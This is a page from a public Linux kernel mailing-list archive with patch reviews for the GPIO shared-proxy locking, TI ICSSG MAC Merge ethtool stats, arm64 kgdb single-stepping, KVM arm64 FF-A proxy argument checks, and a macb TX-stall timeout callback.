> gc->free = gpio_shared_proxy_free;
> gc->set_config = gpio_shared_proxy_set_config;
> gc->direction_input = gpio_shared_proxy_direction_input;
> gc->direction_output = gpio_shared_proxy_direction_output;
> - if (gc->can_sleep) {
> - gc->set = gpio_shared_proxy_set_cansleep;
> - gc->get = gpio_shared_proxy_get_cansleep;
> - } else {
> - gc->set = gpio_shared_proxy_set;
> - gc->get = gpio_shared_proxy_get;
> - }
> + gc->set = gpio_shared_proxy_set_cansleep;
> + gc->get = gpio_shared_proxy_get_cansleep;
> gc->get_direction = gpio_shared_proxy_get_direction;
> gc->to_irq = gpio_shared_proxy_to_irq;
>
> diff --git a/drivers/gpio/gpiolib-shared.c b/drivers/gpio/gpiolib-shared.c
> index de72776fb154..495bd3d0ddf0 100644
> --- a/drivers/gpio/gpiolib-shared.c
> +++ b/drivers/gpio/gpiolib-shared.c
> @@ -627,8 +627,7 @@ static void gpio_shared_release(struct kref *kref)
>
> shared_desc = entry->shared_desc;
> gpio_device_put(shared_desc->desc->gdev);
> - if (shared_desc->can_sleep)
> - mutex_destroy(&shared_desc->mutex);
> + mutex_destroy(&shared_desc->mutex);
> kfree(shared_desc);
> entry->shared_desc = NULL;
> }
> @@ -659,11 +658,7 @@ gpiod_shared_desc_create(struct gpio_shared_entry *entry)
> }
>
> shared_desc->desc = &gdev->descs[entry->offset];
> - shared_desc->can_sleep = gpiod_cansleep(shared_desc->desc);
> - if (shared_desc->can_sleep)
> - mutex_init(&shared_desc->mutex);
> - else
> - spin_lock_init(&shared_desc->spinlock);
> + mutex_init(&shared_desc->mutex);
>
> return shared_desc;
> }
> diff --git a/drivers/gpio/gpiolib-shared.h b/drivers/gpio/gpiolib-shared.h
> index 15e72a8dcdb1..5c725118b1af 100644
> --- a/drivers/gpio/gpiolib-shared.h
> +++ b/drivers/gpio/gpiolib-shared.h
> @@ -6,7 +6,6 @@
> #include <linux/cleanup.h>
> #include <linux/lockdep.h>
> #include <linux/mutex.h>
> -#include <linux/spinlock.h>
>
> struct gpio_device;
> struct gpio_desc;
> @@ -42,35 +41,29 @@ static inline int gpio_shared_add_proxy_lookup(struct device *consumer,
>
> struct gpio_shared_desc {
> struct gpio_desc *desc;
> - bool can_sleep;
> unsigned long cfg;
> unsigned int usecnt;
> unsigned int highcnt;
> - union {
> - struct mutex mutex;
> - spinlock_t spinlock;
> - };
> + struct mutex mutex; /* serializes all proxy operations on this descriptor */
> };
>
> struct gpio_shared_desc *devm_gpiod_shared_get(struct device *dev);
>
> +/*
> + * Under this lock the proxy may call gpiod_set_config()/gpiod_direction_*(),
> + * which can reach pinctrl paths that take a mutex (e.g. gpiod_set_config() ->
> + * gpiochip_generic_config() -> pinctrl_gpio_set_config()), independent of the
> + * underlying chip's can_sleep. A spinlock would run that sleeping call from
> + * atomic context, so the descriptor lock must be a mutex and the proxy
> + * gpiochip is therefore sleeping (can_sleep=true).
> + */
> DEFINE_LOCK_GUARD_1(gpio_shared_desc_lock, struct gpio_shared_desc,
> - if (_T->lock->can_sleep)
> - mutex_lock(&_T->lock->mutex);
> - else
> - spin_lock_irqsave(&_T->lock->spinlock, _T->flags),
> - if (_T->lock->can_sleep)
> - mutex_unlock(&_T->lock->mutex);
> - else
> - spin_unlock_irqrestore(&_T->lock->spinlock, _T->flags),
> - unsigned long flags)
> + mutex_lock(&_T->lock->mutex),
> + mutex_unlock(&_T->lock->mutex))
Just drop these wrappers altogether then, let's open-code mutex locking in
the proxy.
>
> static inline void gpio_shared_lockdep_assert(struct gpio_shared_desc *shared_desc)
> {
> - if (shared_desc->can_sleep)
> - lockdep_assert_held(&shared_desc->mutex);
> - else
> - lockdep_assert_held(&shared_desc->spinlock);
> + lockdep_assert_held(&shared_desc->mutex);
Same here, move it to the proxy.
> }
>
> #endif /* __LINUX_GPIO_SHARED_H */
> --
> 2.54.0
>
>
>
Bart
^ permalink raw reply
* Re: [PATCH net-next v7 2/2] net: ti: icssg-prueth: Add ethtool ops for Frame Preemption MAC Merge
From: Meghana Malladi @ 2026-06-16 12:54 UTC (permalink / raw)
To: Jakub Kicinski
Cc: elfring, haokexin, vadim.fedorenko, devnexen, horms,
jacob.e.keller, arnd, basharath, afd, parvathi, vladimir.oltean,
rogerq, danishanwar, pabeni, edumazet, davem, andrew+netdev,
linux-arm-kernel, netdev, linux-kernel, srk, vigneshr
In-Reply-To: <20260615163932.50bb3df0@kernel.org>
Hi Jakub,
On 6/16/26 05:09, Jakub Kicinski wrote:
> On Mon, 15 Jun 2026 16:10:41 -0700 Jakub Kicinski wrote:
>>> diff --git a/drivers/net/ethernet/ti/icssg/icssg_stats.h b/drivers/net/ethernet/ti/icssg/icssg_stats.h
>>> index 5ec0b38e0c67..8073deac35c3 100644
>>> --- a/drivers/net/ethernet/ti/icssg/icssg_stats.h
>>> +++ b/drivers/net/ethernet/ti/icssg/icssg_stats.h
>>> @@ -189,6 +187,11 @@ static const struct icssg_pa_stats icssg_all_pa_stats[] = {
>>> ICSSG_PA_STATS(FW_INF_DROP_PRIOTAGGED),
>>> ICSSG_PA_STATS(FW_INF_DROP_NOTAG),
>>> ICSSG_PA_STATS(FW_INF_DROP_NOTMEMBER),
>>> + ICSSG_PA_STATS(FW_PREEMPT_BAD_FRAG),
>>> + ICSSG_PA_STATS(FW_PREEMPT_ASSEMBLY_ERR),
>>> + ICSSG_PA_STATS(FW_PREEMPT_FRAG_CNT_TX),
>>> + ICSSG_PA_STATS(FW_PREEMPT_ASSEMBLY_OK),
>>> + ICSSG_PA_STATS(FW_PREEMPT_FRAG_CNT_RX),
>>> ICSSG_PA_STATS(FW_RX_EOF_SHORT_FRMERR),
>>> ICSSG_PA_STATS(FW_RX_B0_DROP_EARLY_EOF),
>>> ICSSG_PA_STATS(FW_TX_JUMBO_FRM_CUTOFF),
>>
>> [Medium]
>> Are these five new entries duplicating values that already have a
>> standard uAPI?
>>
>> The same five firmware counters are exposed through the new
>> .get_mm_stats callback as the standardized MAC Merge stats
>> (MACMergeFrameAssOkCount, MACMergeFrameAssErrorCount, MACMergeFragCountRx,
>> MACMergeFragCountTx, MACMergeFrameSmdErrorCount in struct
>> ethtool_mm_stats), and adding them to icssg_all_pa_stats[] also
>> publishes them via emac_get_strings() / emac_get_ethtool_stats() as
>> ethtool -S strings.
>>
>> Documentation/networking/statistics.rst describes ethtool -S as the
>> private-driver-stats interface; counters that have a standard uAPI are
>> expected to flow only through that uAPI.
>>
>> Could the firmware-register lookup table used by emac_get_stat_by_name()
>> be separated from the ethtool -S string table, so the new preemption
>> counters feed get_mm_stats without also showing up under ethtool -S?
>
> This -- not sure about the other complaints but this one looks legit.
I agree that this is legit, but right now there is no other place holder
other than pa stats to put the mac merge firmware counters. I believe
the effort needs to go in re-structuring the hardware and firmware stats
implementation to address this issue.
^ permalink raw reply
* Re: [PATCH] arm64: kgdb: Fix interrupt-induced single-step exception
From: Mark Rutland @ 2026-06-16 12:54 UTC (permalink / raw)
To: liuqiqi
Cc: Catalin Marinas, linux-kernel, Tongbo Wei, Will Deacon,
linux-arm-kernel
In-Reply-To: <20260615052903.207943-1-liuqiqi@kylinos.cn>
On Mon, Jun 15, 2026 at 01:29:03PM +0800, liuqiqi@kylinos.cn wrote:
> From: Qiqi Liu <liuqiqi@kylinos.cn>
>
> After entering kdb due to breakpoint, when we execute 'ss' or 'go'
> (will delay installing breakpoints, do single-step first),
> and it will enter kdb again.
> We found that due to context switching caused by interrupt,
> the instruction at ss is no longer the original breakpoint instruction.
>
> Before the patch:
> [root@localhost ~]# echo g > /proc/sysrq-trigger
> Entering kdb (current=0xffff030004f2bc00, pid 8818) on processor 15 due to Keyboard Entry
> [15]kdb> bp sysctl_vm_numa_stat_handler
> Instruction(i) BP #0 at 0xffffae550650c810 (sysctl_vm_numa_stat_handler)
> is enabled addr at 0xffffae550650c810, hardtype=0 installed=0
> [15]kdb> g
> [root@localhost ~]# echo 1 > /proc/sys/vm/numa_stat
> Entering kdb (current=0xffff030004f2bc00, pid 8818) on processor 12 due to Breakpoint @ 0xffffae550650c810
> [12]kdb> g
> Entering kdb (current=0xffff030004f2bc00, pid 8818) on processor 12 due to Breakpoint @ 0xffffae550650c810
> [12]kdb> g
>
> After the patch:
> [root@localhost ~]# echo g > /proc/sysrq-trigger
> Entering kdb (current=0xfffff010012c36400, pid 6488) on processor 41 due to Keyboard Entry
> [41]kdb> bp sysctl_vm_numa_stat_handler
> Instruction(i) BP #0 at 0xfffffd1768c2dc7c8 (sysctl_vm_numa_stat_handler)
> is enabled addr at ffffdf1768c2dc7c8, hardtype=0 installed=0
> [41]kdb> g
> [root@localhost ~]# echo 1 > /proc/sys/vm/numa_stat
> Entering kdb (current=0xfffff010012c36400, pid 6488) on processor 7 due to Breakpoint @ 0xfffffd1768c2dc7c8
> [7]kdb> g
> [root@localhost ~]#
>
> Fixes: 44679a4f142b ("arm64: KGDB: Add step debugging support")
> Co-developed-by: Tongbo Wei <kf.weitongbo@h3c.com>
> Signed-off-by: Tongbo Wei <kf.weitongbo@h3c.com>
> Signed-off-by: Qiqi Liu <liuqiqi@kylinos.cn>
> ---
> arch/arm64/kernel/kgdb.c | 12 ++++++++++++
> 1 file changed, 12 insertions(+)
>
> diff --git a/arch/arm64/kernel/kgdb.c b/arch/arm64/kernel/kgdb.c
> index 968324a79a89..e9a246a0c34f 100644
> --- a/arch/arm64/kernel/kgdb.c
> +++ b/arch/arm64/kernel/kgdb.c
> @@ -101,6 +101,8 @@ struct dbg_reg_def_t dbg_reg_def[DBG_MAX_REG_NUM] = {
> { "fpcr", 4, -1 },
> };
>
> +static DEFINE_PER_CPU(unsigned int, kgdb_pstate);
> +
> char *dbg_get_reg(int regno, void *mem, struct pt_regs *regs)
> {
> if (regno >= DBG_MAX_REG_NUM || regno < 0)
> @@ -207,6 +209,8 @@ int kgdb_arch_handle_exception(int exception_vector, int signo,
> err = 0;
> break;
> case 's':
> + __this_cpu_write(kgdb_pstate, linux_regs->pstate);
> + linux_regs->pstate |= PSR_I_BIT;
> /*
> * Update step address value with address passed
> * with step packet.
> @@ -252,9 +256,17 @@ NOKPROBE_SYMBOL(kgdb_compiled_brk_handler);
>
> int kgdb_single_step_handler(struct pt_regs *regs, unsigned long esr)
> {
> + unsigned int pstate;
> if (!kgdb_single_step)
> return DBG_HOOK_ERROR;
>
> + /* restore interrupt mask status */
> + pstate = __this_cpu_read(kgdb_pstate);
> + if (pstate & PSR_I_BIT)
> + regs->pstate |= PSR_I_BIT;
> + else
> + regs->pstate &= ~PSR_I_BIT;
I don't think this is sufficient; see the comments from last time this
approach was proposed:
https://lore.kernel.org/linux-arm-kernel/aNPiUbdRhaRklebF@J2N7QTR9R3/
I don't think we can solve this without enlightening the entry code.
Mark.
^ permalink raw reply
* Re: [PATCH v3 1/7] KVM: arm64: Enforce strict SBZ checks in the FF-A proxy
From: Vincent Donnefort @ 2026-06-16 13:00 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-2-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:08AM +0000, Sebastian Ene wrote:
> Introduce a helper method ffa_check_unused_args_sbz to enforce strict
> arguments checking when the hypervisor acts as a relayer between the
> host and Trustzone.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 47 +++++++++++++++++++++++++++++++++++
> 1 file changed, 47 insertions(+)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index 1af722771178..c723a21006aa 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -71,6 +71,18 @@ static u32 hyp_ffa_version;
> static bool has_version_negotiated;
> static hyp_spinlock_t version_lock;
>
> +static bool ffa_check_unused_args_sbz(struct kvm_cpu_context *ctxt, int first_reg)
> +{
> + int reg;
> +
> + for (reg = first_reg; reg < 17; reg++) {
Hum, should it be reg <= 17?
> + if (cpu_reg(ctxt, reg))
> + return true;
> + }
> +
> + return false;
> +}
> +
[...]
^ permalink raw reply
* Re: [PATCH v3 3/7] KVM: arm64: Support FFA_NOTIFICATION_BIND in host handler
From: Vincent Donnefort @ 2026-06-16 13:06 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-6-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:12AM +0000, Sebastian Ene wrote:
> Verify the arguments of the FF-A notification bind call and forward the
> message to Trustzone.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 32 +++++++++++++++++++++++++++++++-
> 1 file changed, 31 insertions(+), 1 deletion(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index dc7496ec295f..3d8ed829f558 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -42,6 +42,8 @@
> */
> #define HOST_FFA_ID 0
>
> +#define FFA_NOTIF_SENDER_ENDP_MASK GENMASK(31, 16)
> +
> /*
> * A buffer to hold the maximum descriptor size we can see from the host,
> * which is required when the SPMD returns a fragmented FFA_MEM_RETRIEVE_RESP
> @@ -713,7 +715,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_BIND:
> case FFA_NOTIFICATION_UNBIND:
> case FFA_NOTIFICATION_SET:
> case FFA_NOTIFICATION_GET:
> @@ -929,6 +930,32 @@ static void do_ffa_notif_bitmap(struct arm_smccc_1_2_regs *res,
> hyp_smccc_1_2_smc(args, res);
> }
>
> +static void do_ffa_notif_bind(struct arm_smccc_1_2_regs *res,
> + struct kvm_cpu_context *ctxt)
> +{
> + DECLARE_REG(u32, endp_id, ctxt, 1);
> + DECLARE_REG(u32, flags, ctxt, 2);
> + struct arm_smccc_1_2_regs *args;
> +
> + if (ffa_check_unused_args_sbz(ctxt, 5)) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + if (FIELD_GET(FFA_NOTIF_SENDER_ENDP_MASK, endp_id) != HOST_FFA_ID) {
"A Receiver uses the FFA_NOTIFICATION_BIND interface to bind one or more
notifications to the Sender"
Does that mean that if the host issues a FFA_NOTIFICATION_BIND it is the
"Receiver" and not the "Sender"?
(Same for unbind)
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + if (flags > 1) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + args = (void *)&ctxt->regs.regs[0];
> + hyp_smccc_1_2_smc(args, res);
> +}
> +
> bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> {
> struct arm_smccc_1_2_regs res;
> @@ -991,6 +1018,9 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> case FFA_NOTIFICATION_BITMAP_DESTROY:
> do_ffa_notif_bitmap(&res, host_ctxt);
> goto out_handled;
> + case FFA_NOTIFICATION_BIND:
> + do_ffa_notif_bind(&res, host_ctxt);
> + goto out_handled;
> }
>
> if (ffa_call_supported(func_id))
> --
> 2.54.0.1136.gdb2ca164c4-goog
>
^ permalink raw reply
* [PATCH v2] net: macb: add TX stall timeout callback to recover from lost TSTART write
From: Andrea della Porta @ 2026-06-16 13:23 UTC (permalink / raw)
To: netdev, Theo Lebrun, Andrea della Porta, Nicolas Ferre,
Claudiu Beznea, Andrew Lunn, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, linux-kernel, linux-arm-kernel,
linux-rpi-kernel, Nicolai Buchwitz
Cc: Lukasz Raczylo, Steffen Jaeckel
From: Lukasz Raczylo <lukasz@raczylo.com>
The MACB found in the Raspberry Pi RP1 suffers from sporadic stalls on
the TX queue.
While the exact root cause is not yet fully understood, it is likely
related to a hardware issue where a TSTART write to the NCR register
is missed, preventing the transmission from being kicked off.
Implement a timeout callback to handle TX queue stalls, triggering the
existing restart mechanism to recover.
Link: https://lore.kernel.org/all/20260514215459.36109-1-lukasz@raczylo.com/
Fixes: dc110d1b23564 ("net: cadence: macb: Add support for Raspberry Pi RP1 ethernet controller")
Signed-off-by: Lukasz Raczylo <lukasz@raczylo.com>
Co-developed-by: Steffen Jaeckel <sjaeckel@suse.de>
Signed-off-by: Steffen Jaeckel <sjaeckel@suse.de>
Co-developed-by: Andrea della Porta <andrea.porta@suse.com>
Signed-off-by: Andrea della Porta <andrea.porta@suse.com>
---
CHANGES IN v2:
- dropped the rate-limited log message
- avoid incrementing tx_error as this is per packet
---
drivers/net/ethernet/cadence/macb_main.c | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/drivers/net/ethernet/cadence/macb_main.c b/drivers/net/ethernet/cadence/macb_main.c
index a12aa21244e83..fd282a1700fb9 100644
--- a/drivers/net/ethernet/cadence/macb_main.c
+++ b/drivers/net/ethernet/cadence/macb_main.c
@@ -4522,6 +4522,13 @@ static int macb_setup_tc(struct net_device *dev, enum tc_setup_type type,
}
}
+static void macb_tx_timeout(struct net_device *dev, unsigned int q)
+{
+ struct macb *bp = netdev_priv(dev);
+
+ macb_tx_restart(&bp->queues[q]);
+}
+
static const struct net_device_ops macb_netdev_ops = {
.ndo_open = macb_open,
.ndo_stop = macb_close,
@@ -4540,6 +4547,7 @@ static const struct net_device_ops macb_netdev_ops = {
.ndo_hwtstamp_set = macb_hwtstamp_set,
.ndo_hwtstamp_get = macb_hwtstamp_get,
.ndo_setup_tc = macb_setup_tc,
+ .ndo_tx_timeout = macb_tx_timeout,
};
/* Configure peripheral capabilities according to device tree
--
2.35.3
^ permalink raw reply related
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox